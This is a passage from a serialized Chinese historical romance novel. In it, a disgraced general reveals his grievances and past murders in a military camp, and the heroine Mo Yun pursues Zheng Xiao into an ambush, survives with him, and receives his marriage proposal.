“别的人杀了我就解恨了，但卢正啸，不是那老畜生和老贱人最在意的孙儿吗？我就想让他看见他弟弟是如何被折磨至死，他娘如何当着他面死，他的朋友不是背叛他，就是因他而死。他这一生都要被卢家和那狗皇帝利用，从小就要背负这重担，在人世苦苦挣扎，最后还娶了这世上最大仇人的女儿，让他尝尽人世的苦再死，是不是更有意思？。”
程老将军的眼中竟然深深闪过满足，嘴角的笑容愈发狰狞，所有人深吸一口气看向正啸，而正啸那原本刚毅而俊朗的脸上，神色像空了一般。
“而云丫头，你也没多心疼他嘛，当着他的面，将这真相血淋淋的撕开给他看，着实痛快！”程老将军冷笑着，如同讲述了一场精心策划的大戏一般，眼神中充满了得意与残酷，营帐内的气氛愈加压抑，而正啸的眼神也变得越来越冷……
茉云站在程老将军面前，如同一位冷酷的旁观者，望向他那双已癫狂的双眼，忽然冷静而从容的笑了问道：“我就想问您一句，您为什么啊？”
程老将军听到这句话，突然仰天大笑，带着一种狞笑的意味，渗人的回荡在整个营帐中，犹如深渊的回音。
他用世间最怨愤的眼神望向卢老太君嘶吼道“她问我为什么，你觉得我该告诉他们吗？”
卢老太君顿时忍无可忍猛然起身，无法控制自己内心的愤懑，怒视着程老将军好似想将他撕裂一般地吼道：“将这等畜生给我押下去，军法处置！”
但就在此时，茉云冷冷一声喝止：“让他说完！”
她的声音如寒冰般刺骨，目光却如刀直刺卢老太君，众人都不禁从愤怒中再一次被震惊，纷纷望向了茉云。
茉云立于帐中央，没有一丝动摇，沉稳却不容反抗地说道：“这故事，我要听。”
300.真相（二）
卢老太君愣了片刻，便怒火更胜，眼中闪烁着威严地气势，瞪向茉云怒吼道：“方茉云，你是以为卢家军你说的算！”
这声怒吼中充满了威胁和不屑，茉云此举简直是触及她底线的挑衅。
茉云则一脸风轻云淡抬手指向程老将军，语气却毫不动摇的说道：“卢家军您说的算？这不就是您说了算的后果吗？您要知道，老卢帅在天之灵也看着呢。”
她最后这句话犹如利剑般刺入卢老太君的心口，带着一股深沉的讽刺，卢老太君的脸色瞬间苍白，气血上涌，她几乎有几分站不住。
“你可知道这一切对于卢家军和卢正啸，意味着什么吗？”卢老太君咬牙望向茉云，眼中依然闪烁着无法言喻的震动和愤怒。
“我不管，我说了这故事我要听！任谁都阻止不了！”茉云异常决绝的说道,“说吧。”
卢老太君脸色苍白地望向正啸，看见正啸眼神空洞无动于衷，她踉跄后退一步瘫坐到椅上，幸亏依妮扶住了她，而她却狠狠甩开了依妮的手。
而此刻程老将军却再次仰天大笑，笑声越来越癫狂，根本不在乎周围的一切，不关心任何人的愤怒，而是在嘲笑自己的命运，嘲笑这一切的悲剧。
“我爹早亡，我自幼刻苦，就是想靠自己重振程家门楣。我文武皆可，我娘说我爹走得早，不要再走沙场之路，故而我十七岁便考取了功名。”
程老将军抬头瞪向正啸，回忆中带着深深的痛苦与决绝，好似每个字都是从他的内心深处爆发出来的愤怒。
“就是你爷爷跟我说，社稷之重，在于安民，边疆为乱，何以能安？有志之士当报效朝廷，保家卫国。”
说到此，程老将军深吸一口气，似乎在回忆那段立志报国的岁月，眼神充满了不甘与挣扎……
“我便弃文从武，到了他麾下，你问问他们，我立下多少战功，当日是谁辅助卢大将军成为卢帅，挂帅南境，名震四方。”他说到这里，目光冷冷锁定在卢帅身上。
卢帅咬牙深吸一口气，坦荡地说道：“对，你当日确实是军中能文能武之人，深得父帅赏识。”
程老将军的眼神中瞬间又透出了极度的失望和憎恨，转身瞪向卢老太君说道：“是我先遇见柳玉鉴，对她一见倾心，我马上让我娘备下聘礼，想找你去说媒，你当日一口便应下，结果……柳家居然回绝了，其中缘由你心知肚明。我程家只出过将军，你卢家是元帅之家，还是皇上的亲家。”
周总教头顿时忍无可忍的吼道：“你休要胡言乱语，师姐绝不是这种人！”
“柳家的趋炎附势，人尽皆知，输在门楣我也认！但我心中不忿的是你竟如此虚情假意，可那老畜生有一日又找到我，语重心长地跟我说什么，男儿立于世，莫被儿女情长所累？”程老将军的眼神变得更加冷酷的吼道，“他还说他儿子终究不是统军之人，卢家军需要有人继承他的帅位，带领大军剿灭峑戎，平定南境，他希望那人是我。”
程老将军说到此，又停顿了一下，神情闪过一丝自嘲的苦笑。
“我当日错愕、愧疚、感恩，对于自己过往对卢家的猜测，深深懊恼。在此以后，我又是如何待卢家军和卢家的。不论是在朝中的尔虞我诈，还是沙场上的浴血奋战，我待卢家可谓是鞠躬尽瘁，肝脑涂地。”
茉云站在一旁，目光依旧冷冽的望向程老将军，从他那绝望而极度怨愤的眼中，她知道他没有说谎……
“可最后这一切都是骗局，皇上忽然一道圣旨斥下，说我在朝中拨弄风云，搅得举朝不安，军心动荡，顿时将我大将军之位褫夺，让我顷刻间锒铛入狱。”他说到此，握紧的拳头都在微微颤抖，声音亦渐渐都有些哽咽，“在暗无天日牢中，我还在想，罢了，若是能为卢家军背了这黑锅，我也算是报了他们大恩，全了兄弟情义……只可怜我娘夙夜忧叹，病急而终。”
程老将军顿时闭上了眼睛，眼角溢出了泪水，随着话语一同落下。他的身体微微颤抖，似乎在提起他娘的这一刻，所有的痛苦更是涌上心头，可泪水却无法剿灭他的心头的怒火。
卢帅深吸一口气，眼中闪过一丝复杂的情绪，既有愤怒，亦有深深地叹息，说道：“那你是如何走到今日？”
程老将军的眼神瞬间变得犀利，仿佛突然恢复了所有的冷酷与狠毒，猛地指向卢老太君，愤然吼道：“因为这一切都是你娘在陷害我！你们卢家从始至终都是利用我！可怜我在牢中，连我娘最后一面都未见到！”
他的话语顿时如一把锋利的刀子，刺入所有人的心中。卢帅顿时神色愕然，完全没料到这一切竟然牵涉到自己的娘：“这不可能！”
“先皇本是赏识我，要提拔我为副帅，她怕帅位日后不能传给自己儿子，她便当着当今圣上的面，说我狼子野心！只因当日震北他爹走之时，我痛失兄弟，曾在军中念了一首苦昼短，感叹生死兄弟年命短促，但她截取其中一句——吾将斩龙足，嚼龙肉，使之朝不得回，夜不能伏。当日还是皇子的你妹夫听了，再传到先皇耳中，老皇帝便说我有张狂之心，日后若有兵权在手必反，故而要杀我！”
卢帅顿时吃惊望向卢老太君，而卢老太君的神色却很冷漠，虽然脸色苍白，却一言不发，那便是——默认。
营帐内的空气顿时凝固，所有人都瞪大了眼睛，谁曾想到程老将军会说出如此震撼之事，而程老将军则静静地站在那里，眼中既有滔天的恨意，亦好似透出一丝难以抑制的解脱。
“对，是我说的。”卢老太君的神情冷酷而坚定，目光锐利如刀，声音沉稳却不带一丝犹豫和退缩，“可我没有半分冤枉你。他们都待你是至诚至信的兄弟，而在你这儿不过是一个个的垫脚石。”
她的声音虽不高，却如雷鸣般敲击在每个人心头，令整个营帐更是陷入一片沉寂。她缓缓走向程老将军，眼神锋利如刃。
“像小魏和小马这类武将对你没有威胁，你待他们是亲如兄弟，你拉拢之厚待之，可像沧海和震北他们爹，那些能文能武的良将，你又是如何对待他们的？你在军中两面三刀，阴谋算计，你本不配为帅！”
程老将军眼中怒火骤起，猛然咆哮：“我没有！你纯属信口雌黄！”
“没有？千山和万莫的爹和叔叔兄弟两，是如何被害死的？我事后才知，当
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日柳初弦的婚配，竟然是你跟柳大人说，柳初弦怎能只嫁个军中参将，她如此高门大户，世家典范的千金，必须要嫁门当户对的华府。你何以如此说，不过是因为你担心他攀上了柳家，会扶摇直上影响你的仕途！”
“我当日便是实话实说，你纯属欲加之罪何患无辞！”
卢老太君冷哼一声，毫不留情地继续说道：“曾经我也被你蒙蔽，直到我发现你有异，才去查了你在朝中暗地里干的那些见不得人的勾当！再看看震北和沧海的爹阵亡之后，你是怎么对待他们的？当日，我将震北带回了京，你当着全军说你会将沧海视作你儿，结果呢？你是待啸儿好，那是因为他是元帅之孙，有利用价值！什么军中情义？对你而言一文不值！老卢帅还曾想将卢家军交给你，可我知，若有一天你执掌卢家军，他们全都会亡！”
“你现在跟我讲道德？我在朝中若没干那些恶事，你男人能坐上元帅之位？”他的目光如毒蛇般紧盯着卢老太君，讥讽地说道：“他就是在军中恩威并施，左右权衡，而我就成了排除异己？这一切说辞你卢家都是说别人一套自己又做一套！”
程老将军的目光缓缓转向茉云，眼中带着一丝意味深长的嘲弄。
“而且，若是卢家真的容不下用阴谋诡计之人，方茉云，你不早就该除了？可你不仅没杀她，反倒把她留着，一路为你孙儿保驾护航。连她这么一把利刃你卢家都敢用，当日不也就是这般用我的吗，此时又来嫌我脏了？”
众人心头一震，而卢老太君的眼神终于闪过一丝波动，但很快又恢复了冷静。
程老将军眼神微微一眯，眼神犀利如鹰隼，嘴角的笑意更深：“那我再问你，你若明知我是恶人，又为何在我死后，逼卢正啸娶我女儿为妻？你不就是怕堵不住悠悠众口，收买人心吗？”
正啸拳头微微收得越发紧，他深深吸了一口气脑海中浮现出当年画面——老太君无论如何逼着自己娶程老将军的女儿，其中逼迫自己最大的理由便是报恩，可是现实却如此残酷……
程老将军看着正啸，眼神中带着一丝冷酷的笑意，每一个字都带着深深的恶意：“卢正啸，你爷爷奶奶从一开始便是利用你。他们知道自己的儿子不济，只能靠孙子。什么疼惜、赏识、爱重与传承？他们真正要的，是卢家屹立不倒，无人可撼的军权和至高无上的门楣，而你，不过是他们手中的一枚棋子，一辈子都被他们操纵罢了！”
他的声音好似带着最阴暗的力量，每一个字都清晰地寒彻人心，让整个营帐内如此压抑而沉闷。
正啸脑海中浮现出过往的种种，他从小到大所经历的一切习武、考验、使命、责任、家族、朋友、军队…… 这些一直以来都是他的人生全部，亦是他无法抗拒的枷锁。
“旧时我还曾想怎么你就如此好运，一出生那帅印好似就在等着你，如今我倒是同情你了，啸儿，你这一生只想不辜负他们？实则他们在你一出生便都是在算计你，就连方茉云，为了她自己的目的，此刻亦可随意将你抛入这万丈深渊，这人世谁又曾真的在意过你！”话音一落，程老将军那阴鸷癫狂的笑声传遍了整个营帐……
301.真相（三）
程老将军的笑声如此刺耳而张狂，这近乎癫狂的笑容，却让营帐众人的心感受到了前所未有的冰冷。
卢老太君的怒火终于忍无可忍地彻底爆发，她冷冷地站了起来，目光如利刃一般射向茉云：“你竟让一个罪人，就凭几句毫无根据的谎言，来撼动我卢家军的忠诚和仁义？”
“忠诚和仁义？”程老将军眼中的笑意愈加张扬，他目光扫过在场的人，最终又落在茉云身上，嘲讽地说道：“你这条狗，做得看似这般陶醉！但你信吗？”
茉云则冷冷地笑了，嘴角扬起一抹冷冽的弧度，目光依旧波澜不惊：“你说的话，我信！”
卢老太君顿时眼睛瞪大，怒视着茉云：“方茉云，你可知你在说什么！”
茉云轻轻一笑，眼中不带丝毫情绪：“这世上哪有没私心的人。”
她的语气竟如此平静，好似一个局外人，看着这一切徒劳无功的争执和喧嚣。
卢老太君的怒火再一次迸射而出，威胁和斥责的交织在一起，咬牙切齿地问道：“方茉云，你也要来动摇我卢家军的军心吗？是谁容你这般张狂？卢正啸吗？”
茉云冷冷地笑了回怼道：“其实您知道，他能奈我何？”
她的声音是如此地从容而毫不留情，甚至带着几分挑衅。营帐内的空气瞬间变得凝重，所有人的目光都集中在茉云身上，若辰深吸一口气，眼中闪过一丝复杂的情绪，似乎在这一刻，他都有些不认识茉云了。
萧怀逸此时亦忍着伤，抬目望向正啸，他从未在卢正啸的眼中，看过如此空洞的眼神，他心中定是千疮百孔，怒意沸腾，对这一切深深的失望，可方茉云竟然毫不在意！
茉云则转头望向程老将军，眼神沉静而冷峻的问道：“老乐，你想说的，我给你机会说了，告诉我，为何要杀我爹。”
程老将军终于迟疑了几分，眼神亦渐渐变得沉重，闪过一丝叹息，他缓缓靠到营帐内的柱上，闭上了眼睛，好似陷入到某种不堪回首的记忆，声音也变得低沉而沙哑。
“当日你爹知道我是卢家军中人，不顾一切地救了我，因为他曾被老黄救过，又是南境人，对卢家军极为敬仰。可我为了保密，不得不派人杀了他们所有人。”他的声音中终于带出了一丝悔恨，艰难的回忆着，好似每一个字都是从内心挣扎中说出来。
茉云的手猛地握紧剑柄，指尖发白，手都在微微颤抖，时至今日父亲离去的真相终于大白。
程老将军苦笑着睁开了那恶狠的双眼说道：“自此以后，我就再不是活在这人世上的人，我便成了这恶鬼。你爹临走之时，曾说，杀他可以，放过他的属下……我问他，这些属下曾为你做过什么？他说为头的，当然要竭尽全力保住属下，他一个县丞，死前却只想保住他属下的命！而我……”
“而你怎么可能斩草不除根。”茉云冷冷地看向程老将军，眼神如冰。
程老将军再一次闭上了眼睛，苦涩地说道：“对！”
“那当日在部落，你后来肯定也知道我是我爹的女儿，为何不斩草除根呢？”她的声音还是如此平静。
程老将军抬目看向茉云，眼中终于闪过一丝畅快的笑意：“我看见你如此被命运碾碎，却又日日如此桀骜而不屈的样子，便想起了我自己。我这一生注定走条绝路，突然……很希望你能赢！”
他说这话时，眼神中透露出一种复杂的情绪，似乎是解脱，也似乎是对过去的某种释怀。
茉云转身冷冷的走出了营帐，辗转数十年，自己终于知道自己爹为何不明不白的被水匪所杀，也明白了为何爹死后，所谓的水匪为何还是不肯放过自己一家，原来是他要斩草除根！可在自己从西南部落回去之后，水匪又凭空消失了，原来也是他……想自己能替他活出个人样。
其实这几日早已想明白了始末，可此刻茉云心里依旧充满了震撼，十几年，悲剧一个接着一个。所有的真相，都像是一个沉重的锤子，狠狠地砸在心头，带来了永远也无法平息的伤和痛。
这一夜，每个人都感受到了一种无法言喻的压抑，茉云所揭开的那些真相如同烈焰，灼烧着每个人的心。几乎所有人都会在这漫漫长夜里辗转难眠，心里充满了怀疑、愤怒与不安。
然而，此时的卢家，却陷入了有史以来最煎熬而混乱的一刻。
卢老太君的怒火再也无法压抑，她忍无可忍地怒视着正啸，厉声说道：“卢正啸，你居然就任由方茉云如此在卢家军搅弄风云，霍乱军心，却一言不发！”
她的愤怒——好似今晚发生了的一切，都是因为正啸的沉默和他对方茉云的纵容。
卢帅语气带着几分急迫和无奈的说道：“娘，你说茉云搅弄风云，可爹当年无数次跟您说，让您不要去妹妹家说军中之事。说者无心，听者有意，那是王府！”
卢老太君的怒火好似喷薄而出，几乎是吼道：“我就是让其听者有意！我当日便知程卓狼子野心，若我仁慈善意，卢家军将遭遇覆灭之灾！”
卢帅的脸色一变，再也忍不住的质问道：“那您当日执拗地将才几岁的卢正啸放到军中历练，知道他会害死他娘吗？”
他的眼神中满是痛苦，说话之时手都有些微微颤动，心中不知多懊悔于当初的决定，而如今这个错一生都已无法挽回。
卢老太君则怒火中烧，毫不退让地吼道：“当年我说女子不要抛头露面的从军，是谁让她入军为将的？你怎么不甩自己一个嘴巴？你又有何资格怪卢正啸呢？”
“那我再问您，您又何苦执意让正啸娶依妮他娘，让玉鉴在天之灵，看见他儿子娶杀母仇人的女儿！”卢帅的眼眶中顿时盈满了泪水，他也是时至今日才知他爱妻离世的真正缘由。
卢老太君此刻才深深闭上了眼睛，好似不想让人看到她眼中的脆弱，绝望而无力地说道：“我又有何办法，他不娶程家女儿，那就让众人置喙我卢家忘恩负义，让你爹看见卢家军分崩离析吗？”
此时只有正啸站在一旁，望着他们的争吵，思绪一片空白，脑海里只剩下混乱而沉重。这个夜晚对于他来说，好似已经超出了极限。
这所有的真相和冲突都压得他无法呼吸，内心渐渐麻木，一种深深的绝望和疲惫感涌上心头，他转过身，冷冷地离开了营帐。
卢老太君看着他离去的背影，顿时泪水止不住的留了下来，喃喃说到：“方茉云！怎么就这么狠！”
执礼要追去，却被东山拦住了，东山深吸一口气轻声说道：“此刻不如让少帅自己静静待会儿。”
执礼忧愁的望向正啸的背影，这人世怎这般待他，他自小最亲近之人，原来一直带着这世上最深的恨意对待他，亲娘和弟弟竟都是因他而死，老太君明明早已怀疑程卓却逼他娶了仇人之女……而且，就连茉云都如此决绝，在正啸毫无防备之时，未有半分迟疑地，让他周遭轰然崩塌……
今夜，所有人又再一次领略了茉云的狠辣和疯狂，没有为任何人留下一丝尊严和体面，她就像是一柄冷酷的利刃，切开所有血淋淋的真相，让众人的心都被割裂一般，复杂、沉重又哀痛，却还无法找到一丝可以倾诉的出口。
正啸独自走在黑夜中，四周寂静，只有自己的脚步
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声回响在空荡的营地中。他的内心一片空白，好似什么都没有剩下，只剩下一个无法填补的深渊。
而此时茉云的营帐传来了萧怀逸的怒吼声：“你说你只是帮卢家军铲除毒瘤！那你为何要如此重伤他，将这一切赫然揭开，宣之于众！”
茉云并未回应，她冷静地端起桌上的茶，轻轻抿了一口，眼角没有一丝动容，好似眼前的这一切都与她无关。
可她心中何曾不知……这一切必将重伤卢正啸，甚至摧毁了他坚实的后盾和心中最在乎的一切，可是这场大战他本无所依，若不练就坚不可摧之心，又怎敌魍魉诡诈，如何赢得这宿命的一战？
若辰随着萧怀逸进来，站在一旁，脸色亦变得凝重，深吸一口气说道：“茉云……你可知，正啸自幼便没有过过一日自己的日子。他人嬉戏玩耍时，他却日夜练武。他爷爷看重他，将卢家的一切使命都寄托在他身，这一切自幼便是他的信仰。”
茉云微微抬眉望向若辰，而若辰的声音中带着深深的痛惜和不忍。
“他这一路孤行走来，朝中沉浮，沙场征战，亲人朋友离去，是卢家的使命和亲人的信念支撑着他至今日……”
萧怀逸顿时压抑不住的愤怒，接过话吼道：“方茉云，你又何苦要摧毁他的一切！他已经承受了太多的苦痛和负担！”
茉云放下茶杯一脸孤绝地转身，冷冷说道：“夜深，我要休息了，两位请回吧。”
萧怀逸仍然忿然的要说什么，被若辰伸手拉过来，他知道茉云素来心似铁，绝不会轻易改变……
此时，卢依妮就在她的营帐中，还未接受刚发生的一切，默默地流着泪：“茉云姨，真相怎么这般残酷！”
“真相从来都比谎言可怕！但真相就是真相！”
“这……让爹如何承受？”依妮的泪水像断了线的珠子留下来，她怔怔的望向茉云，“他为何要承受这一切！”
“卢依妮，仅靠可怜他，灭不了峑戎！你爹不该也不可能这般脆弱。”
“可我心疼我爹，茉云姨，你难道没有半分心疼他吗？”
依妮的话语像是一把利刃，直接刺入茉云的内心，是不是所有人期待着她能有一丝动容，一丝温存，来回应他的情感。
茉云却站在那里眼神冷峻而坚定，沉默片刻后，她缓缓开口，声音依旧冷漠而无情：“我只关心峑戎能不能灭，南境能不能平。”
此刻走出营帐的萧怀逸愤怒得握紧了双拳，她竟如此不在意卢正啸的死活！
而若辰深深吸了口气，茉云那决绝的神情和言语，没有让她的冷酷绝情露出一丝破绽，只有她那微微的闪躲的眼神，透出了眼底的挣扎和拉扯……
半夜时分，营帐外突然传来一阵骚动，茉云瞬间被惊醒，耳边传来马蹄的声音，那声音越来越远，似乎马匹冲出军营大门飞驰而去。
她的眼神猛地一紧，心中突然升起一股不安的预感。她迅速坐起身来穿上外套，没有惊动依妮自己冲出了营帐，往营门赶去……
就在这时，远处传来元帅怒吼的声音：“卢正啸，如果你连杀你娘的仇人都抓不回来，那你也不用回来了！”
茉云的心猛地一沉飞身而起，可她紧接着就听到烈儿发出的长啸，那是正啸飞身上马时，烈儿才会发出的叫声。
茉云顿时慌乱了，不顾一切地喊道：“卢正啸，别去！”
可任她的声音如何急切和慌张，仍然没能阻止正啸，待她赶到营门之时，只隐隐看到正啸飞驰而出背影，迅速消失在了夜色中，仿佛一阵疾风，带着忿然而冲动的决绝。
302.沉沦
营门外的被厚重的黑夜所笼罩，苍野四周本寂静无声，却被这忽如其来的喧嚣所打破。
此时亦匆匆赶来的若辰和萧怀逸望向千山问道：“这是怎么回事？”
“边鸿涛居然偷偷地放了程卓，元帅下令让少帅亲自去追。”千山的声音中显然也充满了惊慌与无奈，说完他亦焦急地看向茉云。
茉云的目光瞬间如利刃般刺向元帅：“峑戎杀手就在附近！这定然是他们的圈套，也是程卓的最后一招，而你居然亲手送你儿子去死！”，
她那一眼的愤怒让元帅都不禁愣了一下，营中的所有人也都吃惊地望向茉云，他们从未见过她如此愤怒对待元帅过，要知道平日她待元帅是万分尊重的。
茉云深吸一口气，强迫自己冷静下来，她抬手一声口哨响起，她的马儿也飞奔而来，而茉云没有任何迟疑，迅速飞身上马，鞭策飞驰而去。她的背影消失在月光下，像一道黑色的闪电，不顾一切的朝着正啸消失的方向狂追而去。
沧海亦马上像元帅请命带兵前去增援，元帅才晃过神旋即下令，让他们速速追去，可是沧海千山万莫等人出营之时，正啸和茉云都早已消失在茫茫苍野。
此刻，茉云的心随着马蹄在疯狂跳动，黑夜好似吞噬了她所有的视线，她的手紧握着缰绳，只能完全依靠马儿的直觉去寻找正啸，可是眼看就快到那黑风谷了，那是个诡异灰暗，暗藏无尽危险之地，哪怕是白日，部落中人也轻易不会入谷，此刻她心头涌现从未有过的恐慌和无助。
她只能低声对马儿焦急的祈求道：“你寻着烈儿的气息，一定要带我找到卢正啸。”
马儿在广袤的荒野中飞驰，似乎感应到主人的焦急，更加奋力地奔腾。刺骨的寒风如刀一般刮过茉云的面庞，冰冷刺入骨髓，但她却毫不在意，目光只紧紧锁定前方。
她穿越荒野，穿越夜色，直到她看见了远处熟悉的身影——是正啸的背影。茉云心中忽然一阵剧烈的震动，立即催马加速奔向他。
她朝卢正啸背影大声呼喊道：“卢正啸，别追了！”
她急切的声音，试图将他从那前方的危险中拉回来。然而，正啸似乎完全没听见她的话，他的马匹疯狂地奔腾着，像是疯了似的，不顾一切往前飞奔。
茉云再一次高声吼道：“卢正啸！前方有危险。”
她的声音如此仓皇，可卢正啸却依旧执拗地向前冲去，眼中满是无法遏制的决心。他此刻好似听不见周遭任何声音，耳边只回响父亲的训斥，那是你的杀母仇人，你已如此不孝，若不抓回他，你何以为人……
而茉云的心瞬间如同被压上了千斤重的石块，她明白前方就是黑风谷，听风吹过，那儿静谧得如此不同寻常，她知道危险就在前方。
“前面恐有陷阱！卢正啸，停下！”她的声音已然嘶哑，可是正啸完全不理会，咬紧牙关驰骋而去，好似什么都已经不能阻挡他。
眼看着距离黑风谷越来越近，茉云意识到他两就快没有机会了。她咬紧牙关将心一横，不再犹豫飞身而出。她的身体像离弦的箭一样跃起，毫不迟疑地跃到正啸的马背上。
“卢正啸！”她怒吼道，无比的决绝吼道，“要去送死是吗？好，今日我陪你到底！”
她的声音在旷野中咆哮而出，和压抑的情感一股脑地倾泻出来。
正啸却好似终于被这声怒吼唤醒，将手中缰绳紧紧一拉，马匹扬起前蹄的呼啸一声骤然停下，周遭好似都凝固了片刻。
茉云伸手紧紧抱住了正啸，她能感受到正啸内心的痛苦和矛盾，这一刻，无论如何她都不会再松开手。
正啸猛地深吸了一口气紧咬着牙关，眼中透出一丝疲惫与挣扎，可在这一刻他也终于感受到了最熟悉的气息环绕着自己，这气息能安抚了自己狂躁的情绪和麻木的心。
但就在同时，黑风谷深处突然传来一阵震耳欲聋的铁骑声，声音在往他们靠近，显然是敌人已发现正啸并未入谷中，埋伏的杀手正像潮水般汹出。
正啸的眼神瞬间变得凌厉，他猛地掉转马头，随即一把将茉云抱进怀里。
茉云还没反应过来，正啸已经扬鞭策马，马匹如箭一般飞驰而出，茉云的马也紧随其后，奋力奔跑而去。
“不只后方有敌人！”茉云顿时感到一阵寒意从脊背升起，她听见不只一队人马，还有一队敌人铁骑声从另一个方向袭来，夹击之势已成。
正啸侧拉缰绳另辟一条路，径直往黑风渡的方向奔去。黑风渡——是一条湍急而险恶的河流，向来是进退两难的死路。茉云知道这是正啸刹那间打算拼命一搏，此刻不论是上天入地，自己都会随他一起。
忽然间，射手的箭声随即传来，呼啸如风。正啸紧紧地护住怀里的茉云，顿时一支力道雄厚而锋芒锐利，刺破黑夜而来，正啸忽然一把抱紧茉云俯身闪过，利刃还是狠狠划过他的肩膀，鲜血瞬间染红了他的衣襟。他却没有停下，骑马跃入了黑风渡的湍急河流中。
茉云还没有完全从剧烈的跳跃中恢复过来，就随着正啸一同被湍急的河水卷走。河水的冲击力之大，茉云瞬间被水流席卷，冰冷的水好似像针一样刺入她的骨，她只觉全身都变得僵硬，渐渐都快失去了知觉。
但她唯一能感受到的，便是在猛烈的水流中，他一直握紧自己的手臂，即使河水冰冷，凶猛地撞击着他们的身体，正啸依旧没有松开。但随着河水一波波更猛烈的冲击，她的意识渐渐模糊……
再等茉云的眼皮慢慢睁开之时，四周仍是深邃的黑暗，模糊的视线让她一时间无法辨认出这是哪里。她的头脑还处于一片昏沉之中，慢慢地，她意识到自己躺在一个简陋的屋内，四周空旷而阴冷。
随着感觉慢慢恢复，她只觉自己全身湿透，冷得几乎无法控制自己的身体。她艰难地动了动，脚上的伤传来阵阵刺痛。忽然，她感受到一个温暖的手轻轻触碰到她的脚踝，侧头一看，只见正啸正小心翼翼地取下她的鞋，为她的伤口上金创药。
那一刻，茉云的心中翻涌着
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一股莫名的情绪，她猛地一脚踢向正啸，瞪着他怒吼道：“卢正啸，如果想死的话，找棵树就够了！”
正啸看向茉云，神情依旧深邃而沉默。
可茉云的怒火并没有平息，吼道：“你竟打算就这么把自己交代了，不打峑戎，不平南境了？”
正啸并没有回避她的目光，带着一丝沉痛地说道：“即便我不在，众将还在，父帅说得对，用我换那叛徒，不亏。”
茉云心猛地一颤，他居然真的有一刻打算放弃这一切，是自己真的太过狠戾，逼迫他至此吗？她深吸了一口气，声音微微颤抖地问道：“卢正啸，那你说的让我等你，也是骗我的吗？”
正啸望着茉云，深深吸了一口气，眼中带着无尽的复杂与痛楚，月光洒在他的脸庞上，映出他那一瞬间在乎的眼神。
茉云眼眶却微微红了，可她依旧瞪着正啸。忽然，正啸毫无预兆地一把抱住了茉云，用力得好似要将她融进自己躯体，月光下时间好似在这一刻凝固。温暖传来，直到此刻，茉云那惶恐的心好似才渐渐平复，愤怒亦在慢慢消散……
良久之后，茉云微微坐直了身子，脸上仍带着忿然的神情瘪瘪嘴巴，没好气的扯开了正啸肩上的衣服，给他那道伤口轻轻撒上金创药。她的动作虽然急促，却极为小心，好似不愿再给正啸多增添一丝的痛楚。她的眼神也依然冷冽，但心底的情感却像潮水般翻涌不止。
她抬起头，看向正啸那双深邃的眼眸，语气有些沉重的问道：“那一刻，我跳上你的马，为何你又停住了？他们都说是我将你置于万丈深渊，你会不会后悔认识我？”
正啸俯身望着茉云，他的双眸如此温柔，眼中渐渐恢复了神采，坦诚地说道：“不会，那一刻，我想，我至少还有你。”
茉云的心狠狠一震，她深深吸了一口气，所有的刚强好似在这一瞬间被击穿，眼中的坚硬亦瞬间融化成柔软。她闭上了眼睛，手无意识地伸向正啸，在这寂静漆黑的瞬间，茉云微微仰起头，轻轻闭上眼睛，深深地吻上了正啸的唇。
这一吻是那么的坚定，好似在这一刻，她将所有的情感、所有的在意与挣扎，都融在了这片刻的温存中，将自己尽情交托。
正啸不禁将她抱得更紧，因为她的身躯如此冰冷，而她的吻却如同火焰，唇齿间彼此交缠着温暖和爱意。在这个自己几近破碎而失控的夜里，一瞬间的触碰和给予，在极端的情绪下，化作了再也无法压抑的渴望。
让他的吻渐渐愈发热烈而深入，吻得茉云不禁紧紧抓住他的衣衫，下一刻他灼热的气息，便倾覆而上。
在这寂静而漆黑的夜，褪去了潮湿冰冷，贴近温暖的彼此，心跳交织着爱念，深深沉沦于彼此。所有情意都无法克制的在这方寸之地，恣意流淌交融……
这一刻，没有了沙场的杀伐，没有了人世的诡诈，只有两颗赤诚的心，所有的伤痛、挣扎、苦难、克制，都在这一刻消散，只剩月光静静透过窗棂洒入屋内，却照不尽那炽热和沉溺……
303.相许
翌日，阳光透过简陋的木窗洒进这间陋室，晨光轻轻地铺满地面，将昨夜残留的余温晕染得更加柔和。
茉云缓缓睁开眼睛，她还未完全清醒，却感受到一股熟悉的温暖包围着她。她微微侧头，看见正啸静静地抱着她，好似在梦中也不曾放开。
她轻轻将头靠近正啸的胸膛，听到他的心跳，竟然会让自己感受到如此安心。良久后，茉云轻轻起身推开木门，走到了屋外，一股清新的山间气息扑面而来，让她忍不住深吸了一口气。
此处竟然是一座隐匿在山林间的小屋，周围是连绵起伏的青翠山脉，巍峨而壮丽，山脚下则是那条他们昨夜被冲入的湍急河流，蜿蜒曲折，如银蛇般在山谷间奔腾。
阳光已经升至正午，暖暖地洒在她的身上，让寒意渐渐褪去。和煦的山风轻轻拂面，带着些许山林的草木清香，原本带着凉意的风，此刻也变得舒爽。
茉云看着这一切，忍不住扬起嘴角，心中却不禁惊叹，他们究竟随水流漂了多远？这里竟然如此静谧，如同世外桃源一般。远眺而去，山林间烈儿和笑儿悠然地吃着草，偶尔扬起鬃毛，撒欢般地嬉戏，似乎也融入了这片天地。
可再美的世外桃源也要填饱肚子，她轻轻推开厨房的门，看着屋内简单的摆设，发现这屋子的主人似乎外出了，屋里只剩下不多的米面、红薯等。
她盯着这些东西，皱了皱眉，干脆生个火随便煮点，能填饱肚子就好。她废了好大一番力气才把火生起来，然后将米和红薯一起倒进锅里慢慢熬煮。
等她端着热腾腾的粥走出屋门时，一眼便看见了正啸——
他已经醒了，就那样随意地穿着一身单衣，坐在门口的石阶上，阳光洒在他的肩上，映照出他宽阔的肩膀和魁梧的身形。他双腿随意地分开，手臂搭在膝盖上，整个人难得如此轻松而随性，然而眉宇间依然透着一种天生的威仪与英气。
他就这么望向眼前的山川大河，似乎在感受天地间的辽阔与自由。他的眼神也已然恢复了往日的神采，不再有昨日夜色下的迷惘和沉痛，而是一种重整山河的坚定，宛如雄鹰蓄势待发，沉稳而深邃。
茉云看着他，端着碗的手微微停顿了一下，心中不禁生出一丝欢喜。这个男人，不管经历了多少风雨，依旧能在这片天地之间，展露出这份傲然于天地的气度，这就是他身上自己最熟悉的，也是自己最喜欢的样子。
“吃点东西吗？我只能保证没毒。”茉云端着两碗似粥非粥的东西走到正啸面前，笑容灿烂地说道。
正啸转过头，看着茉云在阳光下明媚的笑容，眼底的冷峻瞬间化为柔和。他起身走过去，和茉云一起坐到桌旁，周遭在这一刻竟透出难得的温馨与安稳。
正啸望向茉云，目光坦然而认真地说道：“回去我就让家里备下聘礼，娶你，可好？”
